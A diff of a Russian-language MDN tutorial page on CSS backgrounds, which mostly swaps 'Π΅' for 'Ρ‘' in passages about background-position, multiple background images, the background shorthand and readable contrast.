+<p><span class="tlid-translation translation" lang="ru"><span title="">Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ я использовал большоС ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈΠ· Ρ€Π°Π½Π΅Π΅ рассмотрСнного ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° ΠΈ ΡƒΠΊΠ°Π·Π°Π» значСния Π΄Π»ΠΈΠ½Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€ Π²Π½ΡƒΡ‚Ρ€ΠΈ Π±Π»ΠΎΠΊΠ°.</span> <span title="">Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ это исказило ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅.</span></span></p>
<p>ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅.</p>
@@ -140,7 +140,7 @@ translation_of: Learn/CSS/Building_blocks/Backgrounds_and_borders
background-position: top 20px;
}</pre>
-<p><span class="tlid-translation translation" lang="ru"><span title="">И Π½Π°ΠΊΠΎΠ½Π΅Ρ†, Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ синтаксис с Ρ‡Π΅Ρ‚Ρ‹Ρ€ΡŒΠΌΡ значСниями, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ расстояниС ΠΎΡ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… ΠΊΡ€Π°Ρ‘Π² Π±Π»ΠΎΠΊΠ° - Π΅Π΄ΠΈΠ½ΠΈΡ†Π° Π΄Π»ΠΈΠ½Ρ‹ Π² Π΄Π°Π½Π½ΠΎΠΌ случаС прСдставляСт собой смСщСниС ΠΎΡ‚ значСния ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ³ΠΎ слова.</span> <span title="">Π˜Ρ‚Π°ΠΊ, Π² CSS Π½ΠΈΠΆΠ΅ ΠΌΡ‹ смСстили Ρ„ΠΎΠ½ Π½Π° 20 пиксСлСй свСрху ΠΈ Π½Π° 10 пиксСлСй справа:</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">И Π½Π°ΠΊΠΎΠ½Π΅Ρ†, Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ синтаксис с Ρ‡Π΅Ρ‚Ρ‹Ρ€ΡŒΠΌΡ значСниями, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ расстояниС ΠΎΡ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… ΠΊΡ€Π°Ρ‘Π² Π±Π»ΠΎΠΊΠ° - Π΅Π΄ΠΈΠ½ΠΈΡ†Π° Π΄Π»ΠΈΠ½Ρ‹ Π² Π΄Π°Π½Π½ΠΎΠΌ случаС прСдставляСт собой смСщСниС ΠΎΡ‚ значСния ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ³ΠΎ слова.</span> <span title="">Π˜Ρ‚Π°ΠΊ, Π² CSS Π½ΠΈΠΆΠ΅ ΠΌΡ‹ смСстили Ρ„ΠΎΠ½ Π½Π° 20 пиксСлСй свСрху ΠΈ Π½Π° 10 пиксСлСй справа:</span></span></p>
<pre class="brush: css notranslate"><code>.box {
background-image: url(star.png);
@@ -148,7 +148,7 @@ translation_of: Learn/CSS/Building_blocks/Backgrounds_and_borders
background-position: top 20px right 10px;
} </code></pre>
-<p><strong><span class="tlid-translation translation" lang="ru"><span title="">Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ с этими значСниями ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π·Π²Π΅Π·Π΄Ρƒ Π²Π½ΡƒΡ‚Ρ€ΠΈ Π±Π»ΠΎΠΊΠ°.</span></span></strong></p>
+<p><strong><span class="tlid-translation translation" lang="ru"><span title="">Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ с этими значСниями ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π·Π²Π΅Π·Π΄Ρƒ Π²Π½ΡƒΡ‚Ρ€ΠΈ Π±Π»ΠΎΠΊΠ°.</span></span></strong></p>
<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/position.html", '100%', 480)}}</p>
@@ -176,15 +176,15 @@ translation_of: Learn/CSS/Building_blocks/Backgrounds_and_borders
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π“Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Ρ‹ ΠΌΠΎΠΆΠ½ΠΎ <span class="tlid-translation translation" lang="ru"><span title="">Π»Π΅Π³ΠΊΠΎ ΡΠΌΠ΅ΡˆΠΈΠ²Π°Ρ‚ΡŒ с ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΌΠΈ Ρ„ΠΎΠ½ΠΎΠ²Ρ‹ΠΌΠΈ изобраТСниями</span></span>.</p>
</div>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Π”Ρ€ΡƒΠ³ΠΈΠ΅ свойства <code>background- *</code> Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ значСния, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ запятыми,Β  ΠΊΠ°ΠΊ ΠΈ <code>background-image</code>:</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Π”Ρ€ΡƒΠ³ΠΈΠ΅ свойства <code>background- *</code> Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ значСния, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ запятыми,Β  ΠΊΠ°ΠΊ ΠΈ <code>background-image</code>:</span></span></p>
<pre class="brush: css notranslate">background-image: url(image1.png), url(image2.png), url(image3.png), url(image1.png);
background-repeat: no-repeat, repeat-x, repeat;
background-position: 10px 20px, top right;</pre>
-<p><span class="tlid-translation translation" lang="ru"><span title="">КаТдоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… свойств Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ значСниям Π² Ρ‚ΠΎΠΉ ΠΆΠ΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… свойствах.</span> <span title="">Π’Ρ‹ΡˆΠ΅, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>background-repeat</code> для <code>image1</code> Π±ΡƒΠ΄Π΅Ρ‚ <code>no-repeat</code>.</span> <span title="">Однако, Ρ‡Ρ‚ΠΎ происходит, ΠΊΠΎΠ³Π΄Π° Ρ€Π°Π·Π½Ρ‹Π΅ свойства ΠΈΠΌΠ΅ΡŽΡ‚ Ρ€Π°Π·Π½ΠΎΠ΅ количСство Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ?</span> <span title="">ΠžΡ‚Π²Π΅Ρ‚ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ мСньшСС количСство Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ Π±ΡƒΠ΄Π΅Ρ‚ цикличСски ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡ‚ΡŒΡΡ - Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π΅ΡΡ‚ΡŒ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ Ρ„ΠΎΠ½ΠΎΠ²Ρ‹Ρ… изобраТСния, ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π΄Π²Π° значСния <code>background-position</code>.</span> <span title="">ΠŸΠ΅Ρ€Π²Ρ‹Π΅ Π΄Π²Π° значСния ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Ρ‹ ΠΊ ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ Π΄Π²ΡƒΠΌ изобраТСниям, Π·Π°Ρ‚Π΅ΠΌ ΠΎΠ½ΠΈ снова Π±ΡƒΠ΄ΡƒΡ‚ цикличСски ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡ‚ΡŒΡΡ - <code>image3</code> Π±ΡƒΠ΄Π΅Ρ‚ присвоСно ΠΏΠ΅Ρ€Π²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ, Π° <code>image4</code> Π±ΡƒΠ΄Π΅Ρ‚ присвоСно Π²Ρ‚ΠΎΡ€ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ.</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">КаТдоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… свойств Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ значСниям Π² Ρ‚ΠΎΠΉ ΠΆΠ΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… свойствах.</span> <span title="">Π’Ρ‹ΡˆΠ΅, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>background-repeat</code> для <code>image1</code> Π±ΡƒΠ΄Π΅Ρ‚ <code>no-repeat</code>.</span> <span title="">Однако, Ρ‡Ρ‚ΠΎ происходит, ΠΊΠΎΠ³Π΄Π° Ρ€Π°Π·Π½Ρ‹Π΅ свойства ΠΈΠΌΠ΅ΡŽΡ‚ Ρ€Π°Π·Π½ΠΎΠ΅ количСство Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ?</span> <span title="">ΠžΡ‚Π²Π΅Ρ‚ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ мСньшСС количСство Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ Π±ΡƒΠ΄Π΅Ρ‚ цикличСски ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡ‚ΡŒΡΡ - Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π΅ΡΡ‚ΡŒ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ Ρ„ΠΎΠ½ΠΎΠ²Ρ‹Ρ… изобраТСния, ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π΄Π²Π° значСния <code>background-position</code>.</span> <span title="">ΠŸΠ΅Ρ€Π²Ρ‹Π΅ Π΄Π²Π° значСния ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Ρ‹ ΠΊ ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ Π΄Π²ΡƒΠΌ изобраТСниям, Π·Π°Ρ‚Π΅ΠΌ ΠΎΠ½ΠΈ снова Π±ΡƒΠ΄ΡƒΡ‚ цикличСски ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡ‚ΡŒΡΡ - <code>image3</code> Π±ΡƒΠ΄Π΅Ρ‚ присвоСно ΠΏΠ΅Ρ€Π²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ, Π° <code>image4</code> Π±ΡƒΠ΄Π΅Ρ‚ присвоСно Π²Ρ‚ΠΎΡ€ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ.</span></span></p>
-<p><strong><span class="tlid-translation translation" lang="ru"><span title="">ΠŸΠΎΠΈΠ³Ρ€Π°Π΅ΠΌ?</span> <span title="">Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ я Π΄ΠΎΠ±Π°Π²ΠΈΠ» Π΄Π²Π° изобраТСния.</span> <span title="">Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ порядок налоТСния, ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ </span></span>ΠΏΠΎΠΌΠ΅Π½ΡΡ‚ΡŒ порядок Ρ„ΠΎΠ½ΠΎΠ²Ρ‹Ρ… ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ<span class="tlid-translation translation" lang="ru"><span title=""> Π² спискС.</span> <span title="">Или ΠΏΠΎΠΈΠ³Ρ€Π°ΠΉΡ‚Π΅ с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ свойствами, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅, Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΈΠ»ΠΈ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΠ΅ΠΌΠΎΡΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ.</span></span></strong></p>
+<p><strong><span class="tlid-translation translation" lang="ru"><span title="">ΠŸΠΎΠΈΠ³Ρ€Π°Π΅ΠΌ?</span> <span title="">Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ я Π΄ΠΎΠ±Π°Π²ΠΈΠ» Π΄Π²Π° изобраТСния.</span> <span title="">Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ порядок налоТСния, ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ </span></span>ΠΏΠΎΠΌΠ΅Π½ΡΡ‚ΡŒ порядок Ρ„ΠΎΠ½ΠΎΠ²Ρ‹Ρ… ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ<span class="tlid-translation translation" lang="ru"><span title=""> Π² спискС.</span> <span title="">Или ΠΏΠΎΠΈΠ³Ρ€Π°ΠΉΡ‚Π΅ с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ свойствами, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅, Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΈΠ»ΠΈ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΠ΅ΠΌΠΎΡΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ.</span></span></strong></p>
<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/multiple-background-image.html", '100%', 480)}}</p>
@@ -200,17 +200,17 @@ background-position: 10px 20px, top right;</pre>
<p><span class="tlid-translation translation" lang="ru"><span title="">Бвойство {{cssxref ("background-attachment")}} дСйствуСт Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚ΠΎΠ³Π΄Π°, ΠΊΠΎΠ³Π΄Π° Π΅ΡΡ‚ΡŒ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ для ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ, поэтому ΠΌΡ‹ сдСлали ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ различия ΠΌΠ΅ΠΆΠ΄Ρƒ трСмя значСниями - взглянитС Π½Π° </span></span><a href="http://mdn.github.io/learning-area/css/styling-boxes/backgrounds/background-attachment.html">background-attachment.html</a><span class="tlid-translation translation" lang="ru"> <span title="">(Ρ‚Π°ΠΊΠΆΠ΅ смотри <a href="https://github.com/mdn/learning-area/tree/master/css/styling-boxes/backgrounds">исходный ΠΊΠΎΠ΄</a> здСсь).</span></span></p>
-<h3 id="ИспользованиС_сокращСнного_свойства_background"><span class="tlid-translation translation" lang="ru"><span title="">ИспользованиС сокращСнного свойства background</span></span></h3>
+<h3 id="ИспользованиС_сокращённого_свойства_background"><span class="tlid-translation translation" lang="ru"><span title="">ИспользованиС сокращённого свойства background</span></span></h3>
<p><span class="tlid-translation translation" lang="ru"><span title="">Как я ΡƒΠΏΠΎΠΌΠΈΠ½Π°Π» Π² Π½Π°Ρ‡Π°Π»Π΅ этого ΡƒΡ€ΠΎΠΊΠ°, Π²Ρ‹ часто Π±ΡƒΠ΄Π΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ Ρ„ΠΎΠ½, Π·Π°Π΄Π°Π½Π½Ρ‹ΠΉ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ свойства {{cssxref ("background")}}.</span> <span title="">Π­Ρ‚ΠΎ сокращСниС позволяСт Π²Π°ΠΌ ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ всС Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ свойства.</span></span></p>
-<p><span class="tlid-translation translation" lang="ru"><span title="">ΠŸΡ€ΠΈ использовании Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Ρ„ΠΎΠ½ΠΎΠ² Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ всС свойства для ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ Ρ„ΠΎΠ½Π°, Π° Π·Π°Ρ‚Π΅ΠΌ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Ρ„ΠΎΠ½ послС запятой.</span> <span title="">Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Ρƒ нас Π΅ΡΡ‚ΡŒ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ с Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ ΠΈ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΠΌ, Π·Π°Ρ‚Π΅ΠΌ Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ </span></span><code>no-repeat</code><span class="tlid-translation translation" lang="ru"><span title=""> ΠΈ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΠΌ, Π·Π°Ρ‚Π΅ΠΌ Ρ†Π²Π΅Ρ‚.</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">ΠŸΡ€ΠΈ использовании Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Ρ„ΠΎΠ½ΠΎΠ² Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ всС свойства для ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ Ρ„ΠΎΠ½Π°, Π° Π·Π°Ρ‚Π΅ΠΌ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Ρ„ΠΎΠ½ послС запятой.</span> <span title="">Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Ρƒ нас Π΅ΡΡ‚ΡŒ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ с Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ ΠΈ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΠΌ, Π·Π°Ρ‚Π΅ΠΌ Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ </span></span><code>no-repeat</code><span class="tlid-translation translation" lang="ru"><span title=""> ΠΈ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΠΌ, Π·Π°Ρ‚Π΅ΠΌ Ρ†Π²Π΅Ρ‚.</span></span></p>
-<p><span class="tlid-translation translation" lang="ru"><span title="">ΠŸΡ€ΠΈ записи сокращСнных Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠ³ΠΎ изобраТСния Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠΎΠ±Π»ΡŽΠ΄Π°Ρ‚ΡŒ нСсколько ΠΏΡ€Π°Π²ΠΈΠ», Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">ΠŸΡ€ΠΈ записи сокращённых Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠ³ΠΎ изобраТСния Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠΎΠ±Π»ΡŽΠ΄Π°Ρ‚ΡŒ нСсколько ΠΏΡ€Π°Π²ΠΈΠ», Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</span></span></p>
<ul>
<li><code>background-color</code> ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ послС послСднСй запятой.</li>
- <li>ЗначСния <code>background-size</code> ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ сразу послС <code>background-position</code>, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ символом '/', Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€: <code>center/80%</code>.Β </li>
+ <li>ЗначСния <code>background-size</code> ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ сразу послС <code>background-position</code>, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ символом '/', Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€: <code>center/80%</code>.Β </li>
</ul>
<p><span class="tlid-translation translation" lang="ru"><span title="">ΠŸΠΎΡΠ΅Ρ‚ΠΈΡ‚Π΅ страницу MDN свойства {{cssref ("background")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΏΠΎΠ»Π½ΠΎΠ΅ описаниС.</span></span></p>
@@ -219,15 +219,15 @@ background-position: 10px 20px, top right;</pre>
<h3 id="Π”ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ_просмотра">Π”ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ просмотра</h3>
-<p><span class="tlid-translation translation" lang="ru"><span title="">ΠŸΠΎΠΌΠ΅Ρ‰Π°Ρ тСкст ΠΏΠΎΠ²Π΅Ρ€Ρ… Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠ³ΠΎ изобраТСния ΠΈΠ»ΠΈ Ρ†Π²Π΅Ρ‚Π°, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠ·Π°Π±ΠΎΡ‚ΠΈΡ‚ΡŒΡΡ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρƒ вас Π±Ρ‹Π»ΠΎ достаточно контраста, Ρ‡Ρ‚ΠΎΠ±Ρ‹ тСкст Π±Ρ‹Π» Ρ‡ΠΈΡ‚Π°Π΅ΠΌΡ‹ΠΌ для посСтитСлСй вашСго сайта.</span> <span title="">Если указываСтся ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, ΠΈ тСкст Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½ ΠΏΠΎΠ²Π΅Ρ€Ρ… этого изобраТСния, Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ </span></span><code>background-color</code><span class="tlid-translation translation" lang="ru"><span title="">, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ тСксту Π±Ρ‹Ρ‚ΡŒ Ρ€Π°Π·Π±ΠΎΡ€Ρ‡ΠΈΠ²Ρ‹ΠΌ, Ссли ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ загруТаСтся.</span></span></p>
